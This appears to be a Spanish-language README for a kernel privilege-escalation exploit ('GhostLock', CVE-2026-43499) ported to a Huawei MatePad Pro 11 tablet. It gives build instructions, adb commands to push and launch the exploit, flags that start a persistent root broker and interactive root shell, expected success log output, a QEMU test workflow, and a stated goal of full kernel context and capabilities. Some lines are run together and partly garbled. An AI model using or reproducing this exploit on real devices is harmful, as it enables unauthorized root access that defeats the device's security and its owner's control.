
Investigación sobre CVE-2026-43499 (GhostLock) en HUAWEI MatePad Pro 11 GOT-W29
Adaptación de escalada de privilegios CVE-2026-43499 para HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).
Estado actual:
u:r:shell:s0@gl_surandom/uuid, sin modificar boot_id ni el nodo ashmemu:r:kernel:s0 + full caps) sigue siendo TODOPara ver el principio completo, los desplazamientos, los modos de fallo y el historial, consulte TECHNICAL.md.
cd exploit/ghostlock-source
make -j3
Artefactos:
exploit/ghostlock-source/build/bin/ghostlock_exe
La máquina actual utiliza el sysroot del NDK + clang del host para compilación cruzada; consulte exploit/ghostlock-source/TOOLCHAIN.md.
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
Iniciar el broker de la ruta A:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
En caso de éxito, el registro contiene:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
Ejecutar desde otro adb shell:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'tu comando'
El shell root interactivo debe usar -t:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
broker asigna un terminal de control real al shell, por lo que tty debería mostrar /dev/pts/N,
y Ctrl-C, las teclas de dirección, jobs y el cambio entre primer y segundo plano funcionan con normalidad.
--fake-lock-window y --detach son parámetros clave para la ejecución segura en dispositivo real.--hold; no use directamente kill -9 para terminar un worker que ya ha consumido un waiter colgante.--attempts 1.--verify-write, --verify-read, --verify-all son autocomprobaciones de la primitiva de escritura de boot_id,
contaminan los 8 bytes altos de boot_id, solo deben ejecutarse en QEMU o cuando se acepte explícitamente el riesgo.--escalate en lugar de la ruta A; está reservado para la investigación de la ruta B y presenta riesgo en el ciclo de vida de cred.cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
Para más detalles sobre QEMU, consulte tools/qemu-test/README.md.
Objetivo: obtener u:r:kernel:s0 y la capacidad completa.
Pendiente de resolver:
--simple-root escalada de privilegios de la ruta A
--su-server inicia el broker root
--rsh CMD ejecuta un único comando
--rsh-shell shell interactivo PTY completo
--fake-lock-window usa un fake lock privado en la pila (recomendado en dispositivo real)
--detach mantiene vivo permanentemente el worker que consumió el waiter
--probe-cycle forma de disparo de EDEADLK estable en el kernel actual
--no-rt evita que los waiter RT dejen en inanición a CFS
--attempts 1 no reintentar tras fallo en dispositivo real
--log-file PATH registro persistente
--fsync escritura de final-result sincronizada a disco
--help puede listar todos los parámetros de autocomprobación e investigación.